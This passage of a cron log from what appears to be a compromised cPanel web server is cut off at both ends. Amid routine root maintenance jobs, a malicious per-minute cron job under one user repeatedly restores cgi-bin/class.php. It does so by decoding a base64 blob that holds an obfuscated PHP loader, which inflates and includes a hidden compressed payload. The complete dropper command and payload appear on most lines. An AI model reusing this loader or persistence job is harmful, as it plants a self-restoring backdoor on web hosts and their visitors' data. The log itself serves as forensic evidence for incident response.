QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:49:01 server CROND[3676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:50:01 server CROND[3738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:50:01 server CROND[3737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:50:01 server CROND[3741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 00:50:01 server CROND[3742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 00:50:01 server CROND[3743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:51:01 server CROND[3865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:52:01 server CROND[4027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:53:01 server CROND[4087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:54:01 server CROND[4148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:55:01 server CROND[4207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:55:01 server CROND[4206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:55:01 server CROND[4208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:56:01 server CROND[4312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:57:01 server CROND[4376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:57:01 server CROND[4377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 00:58:01 server CROND[4534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:59:01 server CROND[4576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:00:01 server CROND[4627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:00:01 server CROND[4628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:00:01 server CROND[4629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:00:01 server CROND[4631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 01:01:01 server CROND[4739]: (root) CMD (run-parts /etc/cron.hourly)
Apr 13 01:01:01 server CROND[4740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:01:01 server run-parts(/etc/cron.hourly)[4739]: starting 0anacron
Apr 13 01:01:01 server anacron[4752]: Anacron started on 2025-04-13
Apr 13 01:01:01 server anacron[4752]: Normal exit (0 jobs run)
Apr 13 01:01:01 server run-parts(/etc/cron.hourly)[4754]: finished 0anacron
Apr 13 01:02:01 server CROND[4797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 